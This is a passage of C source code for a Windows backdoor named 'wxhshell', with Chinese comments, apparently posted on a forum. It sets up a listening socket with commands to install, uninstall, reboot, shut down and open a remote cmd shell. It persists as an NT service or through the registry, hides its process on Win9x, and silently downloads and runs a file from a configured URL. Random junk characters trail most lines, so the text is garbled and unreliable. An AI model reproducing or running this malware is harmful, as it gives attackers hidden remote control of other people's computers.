  case '?': { "rdpA[>L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FM]clC;X?  
    break; +|C@B`h  
  } :6n4i$  
  // 安装 VgPlIIHh5  
  case 'i': { %[XP}L$  
    if(Install()) &XNt/bK -?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FQek+[ox  
    else uc9h}QJ*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9>{fsy  
    break; `;mgJD  
    } m%9Yo%l~  
  // 卸载 _DR@P(0>_  
  case 'r': { ^"Bhp:o2  
    if(Uninstall()) BOpZ8p'eH1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :ok.[q  
    else 4 95Y<x}=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 65Z}Hf  
    break; gX"  
    } 5Q"yn2b4  
  // 显示 wxhshell 所在路径 bI.hG32  
  case 'p': { nw+t!C  
    char svExeFile[MAX_PATH]; Sr+hB>{  
    strcpy(svExeFile,"\n\r"); =1Plu5  
      strcat(svExeFile,ExeFile); C\{A|'l!x  
        send(wsh,svExeFile,strlen(svExeFile),0); m9h<)D'>  
    break; =2q#- ,t  
    } S6bW r0XR  
  // 重启 rL<N:@HL  
  case 'b': { <ppdy,j:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4{>r_^8  
    if(Boot(REBOOT)) A}"|_ &E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); we}xGb.u  
    else { v:lkvMq|=  
    closesocket(wsh); ",apO  
    ExitThread(0); A":=-$)  
    } ^a qQw u  
    break; l#uF%;GDX  
    } uV|F 3'jT  
  // 关机 5$ How!  
  case 'd': { @Ez>?#z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #ChTel  
    if(Boot(SHUTDOWN)) 2fdN@iruB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9q]f]S.L  
    else { `*[Kmb\  
    closesocket(wsh); ,t_&tbf3  
    ExitThread(0); tOXyle~C  
    } *vQ 6LF;y  
    break; 1G A.c:  
    } !- [ ZQ  
  // 获取shell z<Z0/a2'1  
  case 's': { J"#6m&R_q  
    CmdShell(wsh); )P? 0YC  
    closesocket(wsh); xM{[~Kh_x  
    ExitThread(0); ,7$&gx>2&  
    break; }S"gZ6   
  } Q>[{9bI4QP  
  // 退出 U| yt   
  case 'x': { YdV.+v(30  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JQLQS  
    CloseIt(wsh); P|1  D6  
    break; RrLj5Jq  
    } j7d^g a-`  
  // 离开 xJ#O|7N  
  case 'q': { 5X8 i=M;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?taC !{  
    closesocket(wsh); uv5NqL&  
    WSACleanup(); /@Jg [na  
    exit(1); ^G qO>1U  
    break; xqdkc^b  
        } ?Kmz urG  
  } NI/'SMj%  
  } @Y,t]  
=Crl{Ax  
  // 提示信息 *56j'FX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J_a2DM6d  
} 51% Rk,/o  
  } *s, bz.[  
nVlZ_72d  
  return; F.(W`H*1+  
} QlVj#Jv;~  
3Ch42<  
// shell模块句柄 rhYARr'  
int CmdShell(SOCKET sock) ` *hTx|!'  
{ l_((3e[)  
STARTUPINFO si; Vh01y f  
ZeroMemory(&si,sizeof(si)); W rT_7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; alxIc.[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '"q+[zwv  
PROCESS_INFORMATION ProcessInfo; Li8/GoJW-T  
char cmdline[]="cmd"; f x:vhEX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U4Zx1ieCKH  
  return 0; HI1|~hOb'  
} /g0' +DP  
<bn|ni|c"  
// 自身启动模式 7aRy])x  
int StartFromService(void) ;Ym6ey0t  
{  )%9:k9  
typedef struct H [M:iV  
{ E690'\)31  
  DWORD ExitStatus; 3p-SpUvp  
  DWORD PebBaseAddress; .: wg@Z  
  DWORD AffinityMask; rD6NUS  
  DWORD BasePriority; ]=3hH+1 a  
  ULONG UniqueProcessId; C(sz/x?11  
  ULONG InheritedFromUniqueProcessId; { zL4dJw  
}   PROCESS_BASIC_INFORMATION; j0F& WKk  
I(>_as\1  
PROCNTQSIP NtQueryInformationProcess; ]c\`EHN  
f&F9ImZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >y}> 5kv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7u1o>a %9  
hQ)?LPUB  
  HANDLE             hProcess; Yjy%MR  
  PROCESS_BASIC_INFORMATION pbi; | Eu#mN  
Q(WfWifu-|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8z-wdO\  
  if(NULL == hInst ) return 0; ]Gj%-5G  
D41.$t[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }WR@%)7ay  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NUBzc'qb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zzC{I@b  
/^i_tLgb  
  if (!NtQueryInformationProcess) return 0; YY>&R'3[  
17:7w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?r$& O*;  
  if(!hProcess) return 0; T_\hhP~  
=%77~q-HL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eHHU2^I,  
<e|B7<.  
  CloseHandle(hProcess); o`~,+6] D  
7 }t=Lx(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wlwgYAD  
if(hProcess==NULL) return 0; \*fXPJ4  
OK@yMGz1I  
HMODULE hMod; 5n::]Q%=D  
char procName[255]; R{B5{~m>W@  
unsigned long cbNeeded; gYpFF=7j<@  
%~dn5t ;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qe uc^+P;  
98|1K>C  
  CloseHandle(hProcess); %@I= $8j  
ip|l3m$Mi  
if(strstr(procName,"services")) return 1; // 以服务启动 =m;cy0))  
HT_nxe`E  
  return 0; // 注册表启动 %~<F7qB  
} mt *Dx  
5M%)*.Y 3[  
// 主模块 REOWSs$'  
int StartWxhshell(LPSTR lpCmdLine) Sfi1bsK  
{ pfMmDl5|  
  SOCKET wsl; N]I::  
BOOL val=TRUE; Vvn~G.&)  
  int port=0; <P5 7s+JK  
  struct sockaddr_in door; I0bkc3  
"v'%M({  
  if(wscfg.ws_autoins) Install(); Z1\=d=  
< ?rdhx  
port=atoi(lpCmdLine); *Xu?(Jd  
=`qEwA  
if(port<=0) port=wscfg.ws_port; rB =c  
:K*/  
  WSADATA data; ;A?86o'?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :9|CpC`.  
L3S29-T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C7l4X8\w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }F_=.w0  
  door.sin_family = AF_INET; )uCa]IR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); / 7 R0w  
  door.sin_port = htons(port); 9 b&HqkXX  
PmUq~YZ7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e=i9l  
closesocket(wsl); dY?>:ce  
return 1; 1mv8[^pF  
} /p{$HkVw  
\NL*$SnxP  
  if(listen(wsl,2) == INVALID_SOCKET) { q] '2'"k  
closesocket(wsl); !imjfkG  
return 1; ?KFj=Yo  
} |v"&Y  
  Wxhshell(wsl); ATD4 %|a9h  
  WSACleanup(); opReAU'I  
g|{Ru  
return 0; .V{y9e+  
1VPxCB\  
} *)T7DN8  
za5E{<0  
// 以NT服务方式启动 u0Opn=(_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fTI~wF8!  
{ kI^Pu  
DWORD   status = 0; \lpvRZ\L&g  
  DWORD   specificError = 0xfffffff; 9!Bz)dJ 3  
 LII4sf]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JF9r[%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U;]h/3P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *5" )3\/  
  serviceStatus.dwWin32ExitCode     = 0; j-/F *P  
  serviceStatus.dwServiceSpecificExitCode = 0; YZc{\~d  
  serviceStatus.dwCheckPoint       = 0; 1{CVd m<9  
  serviceStatus.dwWaitHint       = 0; nhB.>ReAi  
TdrRg''@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m>^#:JK  
  if (hServiceStatusHandle==0) return; BKfoeN)%  
VBg M7d  
status = GetLastError(); r4pR[G._  
  if (status!=NO_ERROR) &bwI7cO  
{ eq4Yc*|9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M^y5 Dep  
    serviceStatus.dwCheckPoint       = 0; 1v9 #Fr Y  
    serviceStatus.dwWaitHint       = 0; <)$JA  
    serviceStatus.dwWin32ExitCode     = status; q} p (p( N  
    serviceStatus.dwServiceSpecificExitCode = specificError; z4s{a(Tsd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 26-K:"  
    return; bSk)GZyH\d  
  } $G#)D^-5G  
+Y440Tz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DP &*P/  
  serviceStatus.dwCheckPoint       = 0; ~ ll+/w\4  
  serviceStatus.dwWaitHint       = 0; ByW,YKMy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k mX:~KMb  
}  tZN'OoZ  
Wo/LrCg  
// 处理NT服务事件,比如:启动、停止 5NhwIu^<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '+\.&'A  
{ }N#hg>; B  
switch(fdwControl) T3/Gl 6f  
{ IUwMIHq&sW  
case SERVICE_CONTROL_STOP: aeTVcq  
  serviceStatus.dwWin32ExitCode = 0; iR{*X E   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MY z\ R \  
  serviceStatus.dwCheckPoint   = 0; x4/f5  
  serviceStatus.dwWaitHint     = 0; \`|OAC0a  
  { B&z~}lL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e-YMFJtoK}  
  } 2PEA<{u  
  return; pa6-3c  
case SERVICE_CONTROL_PAUSE: F)uS2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]|K@0,  
  break; -<@QR8:  
case SERVICE_CONTROL_CONTINUE: k`r`ZA(kQ-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =o,6iJ^?$m  
  break; Qg gx:  
case SERVICE_CONTROL_INTERROGATE: gP>`DPgb^  
  break; f/%Q MhM:  
}; nCdxn#|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nr0}*8#j  
} oz/Nx{bg  
q,2 +\i  
// 标准应用程序主函数 Q1u/QA:z7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >WYradLUi  
{ 4 JDk ()  
=LojRY  
// 获取操作系统版本 ]"-c?%L  
OsIsNt=GetOsVer(); MI|anM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S2"H E`  
vUgMfy&  
  // 从命令行安装 J4q_}^/2w  
  if(strpbrk(lpCmdLine,"iI")) Install(); fV5MI[ t  
C?7I(b:  
  // 下载执行文件 ^Z:qlYZ  
if(wscfg.ws_downexe) { *waaM]u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H4IJLZ3G  
  WinExec(wscfg.ws_filenam,SW_HIDE); U9:I"f,  
} } ^n346^  
pJ3Yjm[l  
if(!OsIsNt) { 9*j$U$:'  
// 如果时win9x,隐藏进程并且设置为注册表启动 [BKX$A:Y  
HideProc();  j#YPo  
StartWxhshell(lpCmdLine); (2p<I)t  
} 3YJa3fflK  
else q# t&\M.U  
  if(StartFromService()) S3.76&  
  // 以服务方式启动 geSH3I   
  StartServiceCtrlDispatcher(DispatchTable); }(Dt,F`  
else *_!}g ]  
  // 普通方式启动 ,p[9EW*8  
  StartWxhshell(lpCmdLine); {K42PmQL  
^*_|26  
return 0; 3.<E{E!F  
}
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只看该作者 1 发表于: 2006-10-10
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